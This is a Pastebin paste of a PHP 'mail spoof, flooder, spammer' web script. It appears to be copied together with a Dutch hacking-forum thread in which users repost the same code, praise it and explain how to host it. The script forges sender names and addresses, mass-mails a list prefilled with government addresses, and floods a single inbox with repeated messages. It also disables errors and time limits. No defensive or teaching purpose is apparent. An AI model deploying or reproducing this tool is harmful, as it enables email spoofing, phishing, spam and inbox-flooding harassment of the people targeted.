Advertisement
Guest User

Untitled

a guest
Aug 6th, 2015
241
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 7.10 KB | None | 0 0
  1. <?
  2. /*
  3. (C) AnonyMonstah/Jordsie
  4. */
  5. ?>
  6. <title>Mail spoof :: Flooder :: Spammer</title>
  7. <?
  8. //
  9. error_reporting (0);
  10. if(!set_time_limit(0)) {
  11. $limit = false;
  12. } else {
  13. set_time_limit(0);
  14. ignore_user_abort(1);
  15. $limit = true;
  16. }
  17.  
  18. $log = 'log.txt'; // Log file
  19.  
  20. ini_set('max_execution_time', '0');
  21.  
  22. ?>
  23. set_time_limit(0) = <?if($limit)echo('<font color=Green>On</font>');else
  24. echo('<font color=Red>Off</font> (Working time is limited with the current settings of the server)');?><br>
  25. <?
  26.  
  27. $ip = getenv('REMOTE_ADDR');
  28. if($_GET['mail'] == '1' || $_GET['mail'] == '2' || $_GET['mail'] == '3')
  29. {
  30.  
  31. $_POST['to'] = stripslashes($_POST['to']);
  32. $_POST['msg'] = stripslashes($_POST['msg']);
  33. $_POST['from_email'] = stripslashes($_POST['from_email']);
  34. $_POST['from_name'] = stripslashes($_POST['from_name']);
  35. $_POST['subject'] = stripslashes($_POST['subject']);
  36.  
  37. if($_POST['to'] && $_POST['msg'] && $_POST['from_email'] && $_POST['tipe'])
  38. {
  39. $headers = "MIME-Version: 1.0\r\n";
  40. $headers .= "Content-type: text/".$_POST['tipe']."; charset=windows-1251\r\n";
  41. $headers .= "From: ". $_POST['from_name'] . " <" . $_POST['from_email'] . ">\n";
  42. if($_GET['mail'] == '1')
  43. {
  44. mail($_POST['to'], $_POST['subject'], $_POST['msg'], $headers) or die('Cannot send the message');
  45. }
  46. elseif($_GET['mail'] == '2')
  47. {
  48. $_POST['to'] = explode("\n",$_POST['to']);
  49. foreach($_POST['to'] as $poluchatels)
  50. {
  51. mail($poluchatels, $_POST['subject'], $_POST['msg'], $headers) or die('Cannot send the message');
  52. }
  53. }
  54. elseif($_GET['mail'] == '3')
  55. {
  56. if(preg_match('/[0-9]+/',$_POST['kol']))
  57. {
  58. for($i=0;$i<$_POST['kol'];$i++)
  59. {
  60. mail($_POST['to'], $_POST['subject'], $_POST['msg'], $headers) or die('Cannot send the message');
  61. sleep(1);
  62. }
  63. }
  64. else
  65. {
  66. echo('Incorrect (or not entered) number of messages');
  67. }
  68. }
  69. $f = fopen($log,'a');
  70. fwrite($f,'Message sent &'.$_POST['msg'].'& with subject "'.$_POST['subject'].'" for "'.$_POST['to'].'" from IP - "'.$ip."\"\r\n");
  71. fclose($f);
  72. echo('<center><b><font color="green">Message succesfully sent</font></b></center>');
  73. }
  74. else
  75. {
  76. ?>
  77. <form style="width:350px" method='post'>
  78. <?
  79. if($_GET['mail'] == '1' || $_GET['mail'] == '3')
  80. {
  81. echo("Receiver: &nbsp;<input type='text'name='to'><br>");
  82. }
  83. ?>
  84. Sender Name: <input type='text' name='from_name'><br>
  85. Sender Email: <input type='text' name='from_email'><br>
  86. Subject: <input type='text' name='subject'><br>
  87. <?
  88. if($_GET['mail'] == '3')
  89. {
  90. echo("Amount of messages: <input type='text' name='kol'><br>");
  91. }
  92. ?>
  93. <br>
  94. htm -> <input type='radio' checked='checked' tabindex='1' name='tipe' value='html'> :: <input type='radio' name='tipe' value='plain'><- text<br>
  95. <?
  96. if($_GET['mail'] == '2')
  97. {
  98. echo("Receivers:<br><textarea name='to' rows='10' cols='30'>admin@fbi.org
  99. admin@cia.org
  100. admin@whitehouse.org</textarea>");
  101. }
  102. ?>
  103. <br>Message:<br>
  104. <textarea name='msg' rows='10' cols='30'></textarea><br><br><input type='submit'>
  105. </form>
  106. <?
  107. }
  108. } else {
  109. ?><br>
  110. <a href='<?=$_SERVER['PHP_SELF']?>?mail=1'>Send simple message</a><br>
  111. <a href='<?=$_SERVER['PHP_SELF']?>?mail=2'>Spam</a><br>
  112. <a href='<?=$_SERVER['PHP_SELF']?>?mail=3'>Flood</a><br>
  113. <?
  114. }
  115. ?>
  116. Quote
  117. (01-11-2014 07:47 PM) Alpha00 [48]
  118. (01-11-2014 07:46 PM)Koekje Wrote:  
  119. (01-11-2014 05:08 PM)jorishacker Wrote:  
  120. Thanks
  121. Heb getest werkt goed
  122. oke.
  123.  
  124. En voor de luie mensen, die niet willen downloaden;
  125. Spoiler: PHP-script
  126. PHP Code:
  127. <?
  128. /*
  129. (C) AnonyMonstah/Jordsie
  130. */
  131. ?>
  132. <title>Mail spoof :: Flooder :: Spammer</title>
  133. <?
  134. //
  135. error_reporting (0);
  136. if(!set_time_limit(0)) {
  137. $limit = false;
  138. } else {
  139. set_time_limit(0);
  140. ignore_user_abort(1);
  141. $limit = true;
  142. }
  143.  
  144. $log = 'log.txt'; // Log file
  145.  
  146. ini_set('max_execution_time', '0');
  147.  
  148. ?>
  149. set_time_limit(0) = <?if($limit)echo('<font color=Green>On</font>');else
  150. echo('<font color=Red>Off</font> (Working time is limited with the current settings of the server)');?><br>
  151. <?
  152.  
  153. $ip = getenv('REMOTE_ADDR');
  154. if($_GET['mail'] == '1' || $_GET['mail'] == '2' || $_GET['mail'] == '3')
  155. {
  156.  
  157. $_POST['to'] = stripslashes($_POST['to']);
  158. $_POST['msg'] = stripslashes($_POST['msg']);
  159. $_POST['from_email'] = stripslashes($_POST['from_email']);
  160. $_POST['from_name'] = stripslashes($_POST['from_name']);
  161. $_POST['subject'] = stripslashes($_POST['subject']);
  162.  
  163. if($_POST['to'] && $_POST['msg'] && $_POST['from_email'] && $_POST['tipe'])
  164. {
  165. $headers = "MIME-Version: 1.0\r\n";
  166. $headers .= "Content-type: text/".$_POST['tipe']."; charset=windows-1251\r\n";
  167. $headers .= "From: ". $_POST['from_name'] . " <" . $_POST['from_email'] . ">\n";
  168. if($_GET['mail'] == '1')
  169. {
  170. mail($_POST['to'], $_POST['subject'], $_POST['msg'], $headers) or die('Cannot send the message');
  171. }
  172. elseif($_GET['mail'] == '2')
  173. {
  174. $_POST['to'] = explode("\n",$_POST['to']);
  175. foreach($_POST['to'] as $poluchatels)
  176. {
  177. mail($poluchatels, $_POST['subject'], $_POST['msg'], $headers) or die('Cannot send the message');
  178. }
  179. }
  180. elseif($_GET['mail'] == '3')
  181. {
  182. if(preg_match('/[0-9]+/',$_POST['kol']))
  183. {
  184. for($i=0;$i<$_POST['kol'];$i++)
  185. {
  186. mail($_POST['to'], $_POST['subject'], $_POST['msg'], $headers) or die('Cannot send the message');
  187. sleep(1);
  188. }
  189. }
  190. else
  191. {
  192. echo('Incorrect (or not entered) number of messages');
  193. }
  194. }
  195. $f = fopen($log,'a');
  196. fwrite($f,'Message sent &'.$_POST['msg'].'& with subject "'.$_POST['subject'].'" for "'.$_POST['to'].'" from IP - "'.$ip."\"\r\n");
  197. fclose($f);
  198. echo('<center><b><font color="green">Message succesfully sent</font></b></center>');
  199. }
  200. else
  201. {
  202. ?>
  203. <form style="width:350px" method='post'>
  204. <?
  205. if($_GET['mail'] == '1' || $_GET['mail'] == '3')
  206. {
  207. echo("Receiver: &nbsp;<input type='text'name='to'><br>");
  208. }
  209. ?>
  210. Sender Name: <input type='text' name='from_name'><br>
  211. Sender Email: <input type='text' name='from_email'><br>
  212. Subject: <input type='text' name='subject'><br>
  213. <?
  214. if($_GET['mail'] == '3')
  215. {
  216. echo("Amount of messages: <input type='text' name='kol'><br>");
  217. }
  218. ?>
  219. <br>
  220. htm -> <input type='radio' checked='checked' tabindex='1' name='tipe' value='html'> :: <input type='radio' name='tipe' value='plain'><- text<br>
  221. <?
  222. if($_GET['mail'] == '2')
  223. {
  224. echo("Receivers:<br><textarea name='to' rows='10' cols='30'>admin@fbi.org
  225. admin@cia.org
  226. admin@whitehouse.org</textarea>");
  227. }
  228. ?>
  229. <br>Message:<br>
  230. <textarea name='msg' rows='10' cols='30'></textarea><br><br><input type='submit'>
  231. </form>
  232. <?
  233. }
  234. } else {
  235. ?><br>
  236. <a href='<?=$_SERVER['PHP_SELF']?>?mail=1'>Send simple message</a><br>
  237. <a href='<?=$_SERVER['PHP_SELF']?>?mail=2'>Spam</a><br>
  238. <a href='<?=$_SERVER['PHP_SELF']?>?mail=3'>Flood</a><br>
  239. <?
  240. }
  241. ?>
  242.  
  243. Aha thanks.
  244. Quote
  245. (01-12-2014 08:10 PM)  Genius [-11]
  246. Nice.
  247. Quote
  248. (02-20-2014 10:56 PM) AQ26 [0]
  249. Sorry misschien een beetje domme vraag maar hoe gebruik je zo een php script?
  250. Quote
  251. (02-21-2014 09:42 AM)  BXY  Sectiemoderator [122]
  252. Zet je op een php server... (aka een webserver met php)
  253. Quote
  254. « Next Oldest | Next Newest »
  255. Dit is een oud topic, zie onderaan.
  256.  
  257. Subscribe to this thread
  258.  
  259. return to top  hackflag
  260. Powered by MyBB, mobile version by MyBB GoMobile.
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement